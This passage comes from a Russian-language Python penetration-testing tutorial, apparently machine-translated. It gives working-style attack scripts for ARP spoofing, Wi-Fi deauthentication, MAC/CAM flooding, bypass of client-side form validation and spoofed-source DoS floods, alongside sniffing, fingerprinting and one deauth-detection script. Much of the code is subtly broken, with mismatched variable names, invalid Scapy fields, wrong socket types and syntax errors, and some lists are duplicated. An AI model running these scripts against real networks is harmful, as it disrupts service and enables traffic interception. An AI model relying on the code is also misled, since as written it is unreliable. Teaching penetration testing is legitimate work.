print "Destination MAC:" + binascii.hexlify(eth_header[0]) + " Source MAC:" + binascii.hexlify(eth_header[1]) + " Type:" + binascii.hexlify(eth_header[2])
Теперь мы можем получить IP-заголовок, выполнив следующую строку кода:
ipheader = pkt[0][14:34] ip_header = struct.unpack("!12s4s4s", ipheader) print "Source IP:" + socket.inet_ntoa(ip_header[1]) + " Destination IP:" + socket.inet_ntoa(ip_header[2])
Точно так же мы можем также проанализировать заголовок TCP.
Тестирование проникновения Python — спуфинг ARP
ARP может быть определен как протокол без сохранения состояния, который используется для отображения адресов интернет-протокола (IP) на адреса физических машин.
Работа ARP
В этом разделе мы узнаем о работе ARP. Рассмотрим следующие шаги, чтобы понять, как работает ARP —
-
Шаг 1 — Во-первых, когда машина хочет связаться с другим, она должна искать в своей таблице ARP физический адрес.
-
Шаг 2 — Если он находит физический адрес машины, пакет после преобразования в правильную длину будет отправлен на желаемую машину
-
Шаг 3 — Но если в таблице не найдена запись для IP-адреса, запрос ARP_request будет транслироваться по сети.
-
Шаг 4. Теперь все машины в сети будут сравнивать транслируемый IP-адрес с MAC-адресом, и если какой-либо из компьютеров в сети идентифицирует адрес, он ответит на ARP_request вместе со своими IP-адресом и MAC-адресом. Такое сообщение ARP называется ARP_reply.
-
Шаг 5 — Наконец, машина, которая отправляет запрос, сохранит пару адресов в своей таблице ARP, и весь обмен данными будет иметь место.
Шаг 1 — Во-первых, когда машина хочет связаться с другим, она должна искать в своей таблице ARP физический адрес.
Шаг 2 — Если он находит физический адрес машины, пакет после преобразования в правильную длину будет отправлен на желаемую машину
Шаг 3 — Но если в таблице не найдена запись для IP-адреса, запрос ARP_request будет транслироваться по сети.
Шаг 4. Теперь все машины в сети будут сравнивать транслируемый IP-адрес с MAC-адресом, и если какой-либо из компьютеров в сети идентифицирует адрес, он ответит на ARP_request вместе со своими IP-адресом и MAC-адресом. Такое сообщение ARP называется ARP_reply.
Шаг 5 — Наконец, машина, которая отправляет запрос, сохранит пару адресов в своей таблице ARP, и весь обмен данными будет иметь место.
Что такое ARP Spoofing?
Это может быть определено как тип атаки, когда злоумышленник отправляет поддельный запрос ARP по локальной сети. ARP Poisoning также известен как ARP Spoofing. Это можно понять с помощью следующих пунктов —
-
Первый спуфинг ARP для перегрузки коммутатора создаст огромное количество фальсифицированных пакетов запросов и ответов ARP.
-
Тогда переключатель будет переведен в режим пересылки.
-
Теперь таблица ARP будет заполнена поддельными ответами ARP, чтобы злоумышленники могли прослушивать все сетевые пакеты.
Первый спуфинг ARP для перегрузки коммутатора создаст огромное количество фальсифицированных пакетов запросов и ответов ARP.
Тогда переключатель будет переведен в режим пересылки.
Теперь таблица ARP будет заполнена поддельными ответами ARP, чтобы злоумышленники могли прослушивать все сетевые пакеты.
Реализация с использованием Python
В этом разделе мы поймем реализацию спуфинга ARP в Python. Для этого нам понадобятся три MAC-адреса — первый от жертвы, второй от атакующего и третий от шлюза. Наряду с этим нам также необходимо использовать код протокола ARP.
Давайте импортируем необходимые модули следующим образом:
import socket import struct import binascii
Теперь мы создадим сокет, который будет иметь три параметра. Первый параметр сообщает нам об интерфейсе пакета (PF_PACKET для Linux и AF_INET для Windows), второй параметр сообщает нам, является ли он необработанным сокетом, а третий параметр сообщает нам интересующий нас протокол (здесь 0x0800 используется для IP протокол).
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800)) s.bind(("eth0",socket.htons(0x0800)))
Теперь мы предоставим mac-адрес атакующего, жертвы и шлюза —
attckrmac = '\x00\x0c\x29\x4f\x8e\x76' victimmac ='\x00\x0C\x29\x2E\x84\x5A' gatewaymac = '\x00\x50\x56\xC0\x00\x28'
Нам нужно дать код протокола ARP, как показано на рисунке —
code ='\x08\x06'
Два Ethernet-пакета, один для компьютера-жертвы и другой для компьютера-шлюза, были созданы следующим образом:
ethernet1 = victimmac + attckmac + code ethernet2 = gatewaymac + attckmac + code
Следующие строки кода в порядке в соответствии с заголовком ARP —
htype = '\x00\x01' protype = '\x08\x00' hsize = '\x06' psize = '\x04' opcode = '\x00\x02'
Теперь нам нужно дать IP-адреса шлюза и компьютеров-жертв (предположим, у нас есть следующие IP-адреса для шлюза и компьютеров-жертв) —
gateway_ip = '192.168.43.85' victim_ip = '192.168.43.131'
Преобразуйте вышеуказанные IP-адреса в шестнадцатеричный формат с помощью метода socket.inet_aton () .
gatewayip = socket.inet_aton ( gateway_ip ) victimip = socket.inet_aton ( victim_ip )
Выполните следующую строку кода, чтобы изменить IP-адрес шлюза.
victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip while 1: s.send(victim_ARP) s.send(gateway_ARP)
Реализация с использованием Scapy на Kali Linux
Подмена ARP может быть реализована с использованием Scapy в Kali Linux. Выполните следующие шаги, чтобы выполнить то же самое —
Шаг 1: Адрес компьютера злоумышленника
На этом шаге мы найдем IP-адрес компьютера злоумышленника, выполнив команду ifconfig в командной строке Kali Linux.
Шаг 2: Адрес целевой машины
На этом этапе мы найдем IP-адрес целевой машины, выполнив команду ifconfig в командной строке Kali Linux, которую нам нужно открыть на другой виртуальной машине.
Шаг 3: Пинг целевой машины
На этом этапе нам нужно пропинговать целевой компьютер с компьютера атакующего с помощью следующей команды:
Ping –c 192.168.43.85(say IP address of target machine)
Шаг 4: ARP-кеш на целевой машине
Мы уже знаем, что две машины используют пакеты ARP для обмена MAC-адресами, поэтому после шага 3 мы можем выполнить следующую команду на целевой машине, чтобы увидеть кэш ARP:
arp -n
Шаг 5: Создание пакета ARP с использованием Scapy
Мы можем создавать пакеты ARP с помощью Scapy следующим образом:
scapy arp_packt = ARP() arp_packt.display()
Шаг 6: Отправка вредоносного пакета ARP с использованием Scapy
Мы можем отправлять вредоносные пакеты ARP с помощью Scapy следующим образом:
arp_packt.pdst = “192.168.43.85”(say IP address of target machine) arp_packt.hwsrc = “11:11:11:11:11:11” arp_packt.psrc = ”1.1.1.1” arp_packt.hwdst = “ff:ff:ff:ff:ff:ff” send(arp_packt)
Шаг 7. Снова проверьте ARP-кеш на целевой машине.
Теперь, если мы снова проверим кэш ARP на целевой машине, то увидим поддельный адрес «1.1.1.1».
Тестирование беспроводной сети
Беспроводные системы обладают большой гибкостью, но, с другой стороны, это также приводит к серьезным проблемам безопасности. И как это становится серьезной проблемой безопасности — потому что злоумышленникам, в случае беспроводного подключения, просто нужно иметь доступный сигнал для атаки, а не иметь физический доступ, как в случае проводной сети. Тестирование проникновения беспроводных систем является более простой задачей, чем тестирование в проводной сети. Мы не можем реально применить хорошие физические меры безопасности против беспроводной среды, если мы находимся достаточно близко, мы сможем «услышать» (или, по крайней мере, ваш беспроводной адаптер способен слышать) все, что течет по воздуху.
Предпосылки
Прежде чем мы начнем узнавать больше о тестировании беспроводной сети, давайте обсудим терминологию и процесс связи между клиентом и беспроводной системой.
Важные термины
Давайте теперь изучим важные термины, связанные с тестированием беспроводной сети.
Точка доступа (AP)
Точка доступа (AP) является центральным узлом в беспроводных реализациях 802.11. Эта точка используется для подключения пользователей к другим пользователям в сети, а также может служить точкой соединения между беспроводной локальной сетью (WLAN) и сетью фиксированной проводной связи. В WLAN точка доступа — это станция, которая передает и принимает данные.
Идентификатор набора услуг (SSID)
Это текстовая строка, читаемая человеком, длиной 0-32 байта, которая в основном является именем, назначенным беспроводной сети. Все устройства в сети должны использовать это имя с учетом регистра для связи по беспроводной сети (Wi-Fi).
Идентификация базового набора услуг (BSSID)
Это MAC-адрес чипсета Wi-Fi, работающего в точке беспроводного доступа (AP). Он генерируется случайным образом.
Номер канала
Он представляет диапазон радиочастот, используемый точкой доступа (AP) для передачи.
Связь между клиентом и беспроводной системой
Еще одна важная вещь, которую мы должны понять, это процесс связи между клиентом и беспроводной системой. С помощью следующей диаграммы мы можем понять то же самое —
Рамка маяка
В процессе связи между клиентом и точкой доступа AP периодически отправляет кадр маяка, чтобы показать свое присутствие. Этот кадр поставляется с информацией, связанной с SSID, BSSID и номером канала.
Запрос зонда
Теперь клиентское устройство отправит запрос на проверку, чтобы проверить наличие точек доступа. После отправки зондирующего запроса он будет ожидать ответа зонда от AP. Запрос зонда содержит такую информацию, как SSID AP, информация о конкретном продавце и т. Д.
Ответ зонда
Теперь, после получения зондирующего запроса, AP отправит зондирующий ответ, который содержит информацию о поддерживаемой скорости передачи данных, возможностях и т. Д.
Запрос аутентификации
Теперь клиентское устройство отправит кадр запроса аутентификации, содержащий его идентификатор.
Ответ аутентификации
Теперь в ответ AP отправит кадр ответа аутентификации, указывающий принятие или отклонение.
Запрос ассоциации
Когда аутентификация успешна, клиентское устройство отправило кадр запроса ассоциации, содержащий поддерживаемую скорость передачи данных и SSID AP.
Ответ Ассоциации
Теперь в ответ AP отправит кадр ответа ассоциации, указывающий принятие или отклонение. Идентификатор ассоциации клиентского устройства будет создан в случае принятия.
Поиск идентификатора набора беспроводных услуг (SSID) с использованием Python
Мы можем собрать информацию о SSID с помощью метода raw socket, а также с помощью библиотеки Scapy.
Метод необработанных сокетов
Мы уже узнали, что mon0 захватывает беспроводные пакеты; Итак, нам нужно установить режим монитора на mon0 . В Kali Linux это можно сделать с помощью скрипта airmon-ng . После запуска этого скрипта он даст имя беспроводной карте, скажем, wlan1 . Теперь с помощью следующей команды нам нужно включить режим мониторинга на mon0 —
airmon-ng start wlan1
Ниже приведен необработанный метод сокета Python, который даст нам SSID точки доступа.
Прежде всего нам нужно импортировать модули сокетов следующим образом:
import socket
Теперь мы создадим сокет, который будет иметь три параметра. Первый параметр сообщает нам об интерфейсе пакетов (PF_PACKET для Linux и AF_INET для Windows), второй параметр сообщает нам, является ли он необработанным сокетом, а третий параметр сообщает, что мы заинтересованы во всех пакетах.
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))
Теперь следующая строка свяжет режим mon0 и 0x0003 .
s.bind(("mon0", 0x0003))
Теперь нам нужно объявить пустой список, в котором будет храниться SSID точек доступа.
ap_list = []
Теперь нам нужно вызвать метод recvfrom () для получения пакета. Чтобы продолжить прослушивание, мы будем использовать бесконечный цикл while.
while True: packet = s.recvfrom(2048)
Следующая строка кода показывает, имеет ли кадр 8 битов, указывающих кадр маяка.
if packet[26] == "\x80" : if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0: ap_list.add(packetkt[36:42]) print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))
Анализатор SSID со Scapy
Scapy — одна из лучших библиотек, которая позволяет нам легко анализировать пакеты Wi-Fi. Вы можете узнать Scapy подробно на https://scapy.readthedocs.io/en/latest/ . Для начала запустите Sacpy в интерактивном режиме и используйте команду conf, чтобы получить значение iface. Интерфейс по умолчанию — eth0. Теперь, когда у нас есть купол выше, нам нужно изменить этот режим на mon0. Это можно сделать следующим образом —
>>> conf.iface = "mon0" >>> packets = sniff(count = 3) >>> packets <Sniffed: TCP:0 UDP:0 ICMP:0 Other:5> >>> len(packets) 3
Давайте теперь импортируем Scapy как библиотеку. Кроме того, выполнение следующего скрипта Python даст нам SSID —
from scapy.all import *
Теперь нам нужно объявить пустой список, в котором будет храниться SSID точек доступа.
ap_list = []
Теперь мы собираемся определить функцию с именем Packet_info () , которая будет иметь полную логику разбора пакета. Это будет аргумент pkt.
def Packet_info(pkt) :
В следующем утверждении мы применим фильтр, который будет пропускать только трафик Dot11, что означает трафик 802.11. Следующая строка также является фильтром, который пропускает трафик, имеющий тип кадра 0 (представляет кадр управления), а подтип кадра равен 8 (представляет кадр маяка).
if pkt.haslayer(Dot11) : if ((pkt.type == 0) & (pkt.subtype == 8)) : if pkt.addr2 not in ap_list : ap_list.append(pkt.addr2) print("SSID:", (pkt.addr2, pkt.info))
Теперь функция сниффинга будет анализировать данные со значением iface mon0 (для беспроводных пакетов) и вызывает функцию Packet_info .
sniff(iface = "mon0", prn = Packet_info)
Для реализации вышеперечисленных скриптов Python нам нужна карта Wi-Fi, которая может прослушивать эфир в режиме монитора.
Обнаружение клиентов точки доступа
Для обнаружения клиентов точек доступа нам нужно захватить кадр зондирующего запроса. Мы можем сделать это так же, как мы делали это в скрипте Python для анализатора SSID с использованием Scapy. Нам нужно дать Dot11ProbeReq для захвата кадра запроса зонда. Ниже приведен скрипт Python для обнаружения клиентов точек доступа.
from scapy.all import * probe_list = [] ap_name= input(“Enter the name of access point”) def Probe_info(pkt) : if pkt.haslayer(Dot11ProbeReq) : client_name = pkt.info if client_name == ap_name : if pkt.addr2 not in Probe_info: Print(“New Probe request--”, client_name) Print(“MAC is --”, pkt.addr2) Probe_list.append(pkt.addr2) sniff(iface = "mon0", prn = Probe_info)
Беспроводные атаки
С точки зрения пентестера, очень важно понимать, как происходит беспроводная атака. В этом разделе мы обсудим два вида беспроводных атак:
-
Аутентификация (deauth) атак
-
Атака MAC-наводнения
Аутентификация (deauth) атак
Атака MAC-наводнения
Аутентификация (deauth) атак
В процессе связи между клиентским устройством и точкой доступа всякий раз, когда клиент хочет отключиться, ему необходимо отправить кадр де-аутентификации. В ответ на этот кадр от клиента AP также отправит кадр отмены аутентификации. Злоумышленник может получить преимущество от этого обычного процесса, подделав MAC-адрес жертвы и отправив кадр де-аутентификации на AP. Из-за этого соединение между клиентом и AP потеряно. Ниже приведен скрипт Python для выполнения атаки де-аутентификации —
Давайте сначала импортируем Scapy как библиотеку —
from scapy.all import * import sys
Следующие два утверждения будут вводить MAC-адрес AP и жертвы соответственно.
BSSID = input("Enter MAC address of the Access Point:- ") vctm_mac = input("Enter MAC address of the Victim:- ")
Теперь нам нужно создать кадр де-аутентификации. Его можно создать, выполнив следующую инструкцию.
frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()
Следующая строка кода представляет общее количество отправленных пакетов; здесь это 500 и интервал между двумя пакетами.
sendp(frame, iface = "mon0", count = 500, inter = .1)
Выход
После выполнения вышеупомянутая команда генерирует следующий вывод —
Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP) Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)
Затем следует создание кадра deauth, который, таким образом, отправляется точке доступа от имени клиента. Это сделает связь между ними отмененной.
Вопрос в том, как мы можем обнаружить атаку deauth с помощью скрипта Python. Выполнение следующего скрипта Python поможет в обнаружении таких атак —
from scapy.all import * i = 1 def deauth_frame(pkt): if pkt.haslayer(Dot11): if ((pkt.type == 0) & (pkt.subtype == 12)): global i print ("Deauth frame detected: ", i) i = i + 1 sniff(iface = "mon0", prn = deauth_frame)
В приведенном выше сценарии оператор pkt.subtype == 12 указывает кадр по умолчанию, а переменная I, которая определяется глобально, сообщает о количестве пакетов.
Выход
Выполнение вышеуказанного скрипта генерирует следующий вывод —
Deauth frame detected: 1 Deauth frame detected: 2 Deauth frame detected: 3 Deauth frame detected: 4 Deauth frame detected: 5 Deauth frame detected: 6
Атаки по MAC-адресу
Атака затопления MAC-адреса (атака затопления таблицы CAM) — это тип сетевой атаки, когда злоумышленник, подключенный к порту коммутатора, заполняет интерфейс коммутатора очень большим количеством фреймов Ethernet с разными поддельными MAC-адресами источника. Переполнение таблицы CAM происходит, когда поток MAC-адресов затопляется в таблицу и достигается порог таблицы CAM. Это заставляет коммутатор действовать как концентратор, заполняя сеть трафиком на всех портах. Такие атаки очень легко запустить. Следующий скрипт Python помогает в запуске такой CAM-атаки —
from scapy.all import * def generate_packets(): packet_list = [] for i in xrange(1,1000): packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP()) packet_list.append(packet) return packet_list def cam_overflow(packet_list): sendp(packet_list, iface='wlan') if __name__ == '__main__': packet_list = generate_packets() cam_overflow(packet_list)
Основной целью такого рода атак является проверка безопасности коммутатора. Мы должны использовать безопасность портов, если хотим уменьшить эффект атаки MAC-флудинга.
Уровень приложений
Веб-приложения и веб-серверы имеют решающее значение для нашего присутствия в сети, и атаки, совершаемые против них, составляют более 70% от общего числа попыток атак в Интернете. Эти атаки пытаются превратить доверенные сайты в вредоносные. По этой причине тестирование веб-сервера и пера веб-приложения играет важную роль.
Печать ног веб-сервера
Почему мы должны учитывать безопасность веб-серверов? Это происходит потому, что с быстрым ростом индустрии электронной коммерции основной целью злоумышленников является веб-сервер. Для тестирования веб-сервера мы должны знать о веб-сервере, его программном обеспечении и операционных системах, а также о приложениях, которые на них работают. Сбор такой информации о веб-сервере называется следом веб-сервера.
В нашем следующем разделе мы обсудим различные методы следования веб-сервера.
Методы следования веб-сервера
Веб-серверы — это серверное программное или аппаратное обеспечение, предназначенное для обработки запросов и обслуживания ответов. Это ключевая область для пентестера, на которой следует сосредоточиться во время тестирования на проникновение веб-серверов.
Давайте теперь обсудим несколько методов, реализованных в Python, которые могут быть выполнены для создания отпечатка веб-сервера —
Проверка доступности HTTP-методов
Очень хорошая практика для тестера на проникновение — начать с перечисления различных доступных методов HTTP. Ниже приведен скрипт Python, с помощью которого мы можем подключиться к целевому веб-серверу и перечислить доступные методы HTTP —
Для начала нам нужно импортировать библиотеку запросов —
import requests
После импорта библиотеки запросов создайте массив методов HTTP, которые мы собираемся отправить. Мы будем использовать некоторые стандартные методы, такие как «GET», «POST», «PUT», «DELETE», «OPTIONS» и нестандартный метод «TEST», чтобы проверить, как веб-сервер может обрабатывать неожиданный ввод.
method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
Следующая строка кода представляет собой основной цикл сценария, который отправляет HTTP-пакеты на веб-сервер и печатает метод и код состояния.
for method in method_list: req = requests.request(method, 'Enter the URL’) print (method, req.status_code, req.reason)
Следующая строка будет проверять возможность межсайтовой трассировки (XST), отправляя метод TRACE.
if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text: print ('Cross Site Tracing(XST) is possible')
После запуска вышеуказанного сценария для определенного веб-сервера мы получим 200 ответов OK для определенного метода, принятого веб-сервером. Мы получим 403 Запрещенный ответ, если веб-сервер явно отрицает метод. После того, как мы отправим метод TRACE для тестирования межсайтовой трассировки (XST), мы получим 405 не разрешенных ответов от веб-сервера, в противном случае мы получим сообщение «Возможна межсайтовая трассировка (XST)» .
Печать стопы путем проверки заголовков HTTP
Заголовки HTTP находятся как в запросах, так и в ответах с веб-сервера. Они также несут очень важную информацию о серверах. Вот почему тестер проникновения всегда заинтересован в анализе информации через заголовки HTTP. Ниже приведен скрипт на Python для получения информации о заголовках веб-сервера:
Для начала давайте импортируем библиотеку запросов —
import requests
Нам нужно отправить запрос GET на веб-сервер. Следующая строка кода делает простой запрос GET через библиотеку запросов.
request = requests.get('enter the URL')
Далее мы сгенерируем список заголовков, по которым вам нужна информация.
header_list = [ 'Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', ‘Connection’, ‘Content-Length’]
Далее идет попытка, кроме блока.
for header in header_list: try: result = request.header_list[header] print ('%s: %s' % (header, result)) except Exception as err: print ('%s: No Details Found' % header)
После запуска приведенного выше сценария для определенного веб-сервера мы получим информацию о заголовках, представленных в списке заголовков. Если для определенного заголовка не будет никакой информации, он выдаст сообщение «Детали не найдены». Вы также можете узнать больше о полях HTTP_header по ссылке — https://www.tutorialspoint.com/http/http_header_fields.htm .
Тестирование небезопасных конфигураций веб-сервера
Мы можем использовать информацию заголовка HTTP для тестирования небезопасных конфигураций веб-сервера. В следующем скрипте Python мы будем использовать блок try / Кроме того, чтобы протестировать небезопасные заголовки веб-сервера на количество URL-адресов, которые сохраняются в текстовом файле с именем website.txt —
import requests urls = open("websites.txt", "r") for url in urls: url = url.strip() req = requests.get(url) print (url, 'report:') try: protection_xss = req.headers['X-XSS-Protection'] if protection_xss != '1; mode = block': print ('X-XSS-Protection not set properly, it may be possible:', protection_xss) except: print ('X-XSS-Protection not set, it may be possible') try: options_content_type = req.headers['X-Content-Type-Options'] if options_content_type != 'nosniff': print ('X-Content-Type-Options not set properly:', options_content_type) except: print ('X-Content-Type-Options not set') try: transport_security = req.headers['Strict-Transport-Security'] except: print ('HSTS header not set properly, Man in the middle attacks is possible') try: content_security = req.headers['Content-Security-Policy'] print ('Content-Security-Policy set:', content_security) except: print ('Content-Security-Policy missing')
Эскиз веб-приложения
В нашем предыдущем разделе мы обсуждали следы веб-сервера. Аналогичным образом, отпечаток веб-приложения также считается важным с точки зрения тестера на проникновение.
В нашем следующем разделе мы узнаем о различных методах создания отпечатков веб-приложений.
Методы создания отпечатков веб-приложений
Веб-приложение — это клиент-серверная программа, которая запускается клиентом на веб-сервере. Это еще одна ключевая область, на которой пентестер должен сосредоточиться, проводя тестирование веб-приложения на проникновение.
Давайте теперь обсудим различные методы, реализованные в Python, которые можно использовать для создания отпечатков веб-приложений.
Сбор информации с помощью парсера BeautifulSoup
Предположим, мы хотим собрать все гиперссылки с веб-страницы; мы можем использовать парсер BeautifulSoup. Парсер — это библиотека Python для извлечения данных из файлов HTML и XML. Его можно использовать с urlib, потому что ему нужен ввод (документ или URL) для создания объекта-супа, и он не может сам получить веб-страницу.
Для начала давайте импортируем необходимые пакеты. Мы будем импортировать urlib и BeautifulSoup . Помните, что перед импортом BeautifulSoup нам нужно установить его.
import urllib from bs4 import BeautifulSoup
Скрипт Python, приведенный ниже, соберет заголовок веб-страницы и гиперссылки —
Теперь нам нужна переменная, которая может хранить URL сайта. Здесь мы будем использовать переменную с именем ‘url’. Мы также будем использовать функцию page.read (), которая может хранить веб-страницу и назначать веб-страницу переменной html_page .
url = raw_input("Enter the URL ") page = urllib.urlopen(url) html_page = page.read()
Html_page будет назначен как вход для создания супового объекта.
soup_object = BeautifulSoup(html_page)
Следующие две строки напечатают название заголовка с тегами и без тегов соответственно.
print soup_object.title print soup_object.title.text
Строка кода, показанная ниже, сохранит все гиперссылки.
for link in soup_object.find_all('a'): print(link.get('href'))
Захват баннера
Баннер подобен текстовому сообщению, которое содержит информацию о сервере, а захват баннера — это процесс извлечения информации, предоставленной самим баннером. Теперь нам нужно знать, как генерируется этот баннер. Он генерируется заголовком отправляемого пакета. И хотя клиент пытается подключиться к порту, сервер отвечает, потому что заголовок содержит информацию о сервере.
Следующий скрипт Python помогает захватить баннер с помощью сокет программирования —
import socket s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800)) targethost = str(raw_input("Enter the host name: ")) targetport = int(raw_input("Enter Port: ")) s.connect((targethost,targetport)) def garb(s🙂 try: s.send('GET HTTP/1.1 \r\n') ret = sock.recv(1024) print ('[+]' + str(ret)) return except Exception as error: print ('[-]' Not information grabbed:' + str(error)) return
После запуска вышеприведенного скрипта мы получим информацию о заголовках, аналогичную той, которую мы получили из скрипта Python, содержащего следы заголовков HTTP в предыдущем разделе.
Проверка на стороне клиента
В этой главе мы узнаем, как валидация помогает в тестировании Python.
Основная цель валидации — проверить и убедиться, что пользователь предоставил необходимую и правильно отформатированную информацию, необходимую для успешного завершения операции.
Существует два разных типа проверки:
- проверка на стороне клиента (веб-браузер)
- проверка на стороне сервера
Проверка на стороне сервера и проверка на стороне клиента
Проверка пользовательского ввода, выполняемая на стороне сервера во время сеанса обратной передачи, называется проверкой на стороне сервера . Такие языки, как PHP и ASP.Net, используют проверку на стороне сервера. После завершения процесса проверки на стороне сервера обратная связь отправляется обратно клиенту путем создания новой динамической веб-страницы. С помощью проверки на стороне сервера мы можем получить защиту от злонамеренных пользователей.
С другой стороны, проверка пользовательского ввода, выполняемая на стороне клиента, называется проверкой на стороне клиента. Языки сценариев, такие как JavaScript и VBScript, используются для проверки на стороне клиента . В этом виде проверки вся проверка ввода пользователя выполняется только в браузере пользователя. Это не так безопасно, как проверка на стороне сервера, потому что хакер может легко обойти наш язык сценариев на стороне клиента и отправить опасный ввод на сервер.
Параметр закаливания на стороне клиента: обход проверки
Передача параметров в протоколе HTTP может быть выполнена с помощью методов POST и GET. GET используется для запроса данных от указанного ресурса, а POST используется для отправки данных на сервер для создания или обновления ресурса. Одно из основных различий между этими двумя методами заключается в том, что если веб-сайт использует метод GET, то параметры передачи отображаются в URL-адресе, и мы можем изменить этот параметр и передать его веб-серверу. Например, строка запроса (пары имя / значение) отправляется в URL-адресе запроса GET: /test/hello_form.php?name1 = value1 & name2 = value2 . С другой стороны, параметры не отображаются при использовании метода POST. Данные, отправленные на сервер с помощью POST, сохраняются в теле запроса HTTP-запроса. Например, POST /test/hello_form.php HTTP / 1.1 Host: ‘URL’ name1 = value1 & name2 = value2 .
Модуль Python для обхода валидации
Модуль Python, который мы собираемся использовать, — это механизация . Это веб-браузер Python, который предоставляет возможность получения веб-форм на веб-странице и облегчает представление входных значений. С помощью механизации мы можем обойти проверку и изменить параметры на стороне клиента. Однако, прежде чем импортировать его в наш скрипт Python, нам нужно установить его, выполнив следующую команду:
pip install mechanize
пример
Ниже приведен скрипт Python, который использует mechanize для обхода проверки веб-формы с использованием метода POST для передачи параметра. Веб-форму можно взять по ссылке https://www.tutorialspoint.com/php/php_validation_example.htm и использовать на любом фиктивном веб-сайте по вашему выбору.
Для начала давайте импортируем браузер механизации —
import mechanize
Теперь мы создадим объект с именем brwsr браузера механизации —
brwsr = mechanize.Browser()
Следующая строка кода показывает, что пользовательский агент не робот.
brwsr.set_handle_robots( False )
Теперь нам нужно предоставить URL нашего фиктивного веб-сайта, содержащего веб-форму, в которой нам нужно обойти проверку.
url = input("Enter URL ")
Теперь следующие строки установят для некоторых парентеров значение true.
brwsr.set_handle_equiv(True) brwsr.set_handle_gzip(True) brwsr.set_handle_redirect(True) brwsr.set_handle_referer(True)
Затем он откроет веб-страницу и распечатает веб-форму на этой странице.
brwsr.open(url) for form in brwsr.forms(): print form
Следующая строка кодов будет обходить проверки в указанных полях.
brwsr.select_form(nr = 0) brwsr.form['name'] = '' brwsr.form['gender'] = '' brwsr.submit()
Последняя часть скрипта может быть изменена в соответствии с полями веб-формы, в которой мы хотим обойти проверку. Здесь, в приведенном выше скрипте, мы взяли два поля — «имя» и «пол», которые нельзя оставить пустыми (вы можете увидеть это в кодировке веб-формы), но этот скрипт пропустит эту проверку.
DoS & DDoS атака
В этой главе мы узнаем о атаках DoS и DdoS и узнаем, как их обнаружить.
С бумом в индустрии электронной коммерции, веб-сервер теперь подвержен атакам и стал легкой целью для хакеров. Хакеры обычно пытаются два типа атаки —
- DoS (отказ в обслуживании)
- DDoS (распределенный отказ в обслуживании)
DoS (отказ в обслуживании) атака
Атака «отказ в обслуживании» (DoS) — это попытка хакеров сделать сетевой ресурс недоступным. Обычно он прерывает хост, временный или неопределенный, который подключен к Интернету. Эти атаки обычно нацелены на службы, размещенные на критически важных веб-серверах, таких как банки, шлюзы оплаты кредитными картами.
Симптомы DoS-атаки
-
Необычно низкая производительность сети.
-
Недоступность определенного веб-сайта.
-
Невозможность получить доступ к любому веб-сайту.
-
Резкое увеличение количества полученных спам-писем.
-
Долгосрочный отказ в доступе к сети или любым интернет-сервисам.
-
Недоступность конкретного сайта.
Необычно низкая производительность сети.
Недоступность определенного веб-сайта.
Невозможность получить доступ к любому веб-сайту.
Резкое увеличение количества полученных спам-писем.
Долгосрочный отказ в доступе к сети или любым интернет-сервисам.
Недоступность конкретного сайта.
Типы DoS-атак и их реализация на Python
DoS-атака может быть реализована на канале передачи данных, на уровне сети или на уровне приложений. Давайте теперь узнаем о различных типах DoS-атак &; их реализация в Python —
Один IP один порт
Большое количество пакетов отправляется на веб-сервер с использованием одного IP-адреса и с одного номера порта. Это низкоуровневая атака, которая используется для проверки поведения веб-сервера. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт Python поможет реализовать DoS-атаку с одним IP-портом —
from scapy.all import * source_IP = input("Enter IP address of Source: ") target_IP = input("Enter IP address of Target: ") source_port = int(input("Enter Source Port Number:")) i = 1 while True: IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt, inter = .001) print ("packet sent ", i) i = i + 1
После выполнения вышеприведенный скрипт запросит следующие три вещи:
-
IP-адрес источника и цели.
-
IP-адрес номера порта источника.
-
Затем он отправит большое количество пакетов на сервер для проверки его поведения.
IP-адрес источника и цели.
IP-адрес номера порта источника.
Затем он отправит большое количество пакетов на сервер для проверки его поведения.
Один IP, несколько портов
Большое количество пакетов отправляется на веб-сервер с использованием одного IP-адреса и нескольких портов. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт на python поможет реализовать DoS-атаку с несколькими IP-портами:
from scapy.all import * source_IP = input("Enter IP address of Source: ") target_IP = input("Enter IP address of Target: ") i = 1 while True: for source_port in range(1, 65535) IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt, inter = .001) print ("packet sent ", i) i = i + 1
Несколько IP один порт
Большое количество пакетов отправляется на веб-сервер с использованием нескольких IP-адресов и с одного номера порта. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт Python реализует DoS-атаку с несколькими портами на один IP —
from scapy.all import * target_IP = input("Enter IP address of Target: ") source_port = int(input("Enter Source Port Number:")) i = 1 while True: a = str(random.randint(1,254)) b = str(random.randint(1,254)) c = str(random.randint(1,254)) d = str(random.randint(1,254)) dot = “.” Source_ip = a + dot + b + dot + c + dot + d IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt,inter = .001) print ("packet sent ", i) i = i + 1
Несколько IP несколько портов
Большое количество пакетов отправляется на веб-сервер с использованием нескольких IP-адресов и с нескольких портов. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт Python помогает реализовать DoS-атаку с несколькими портами —
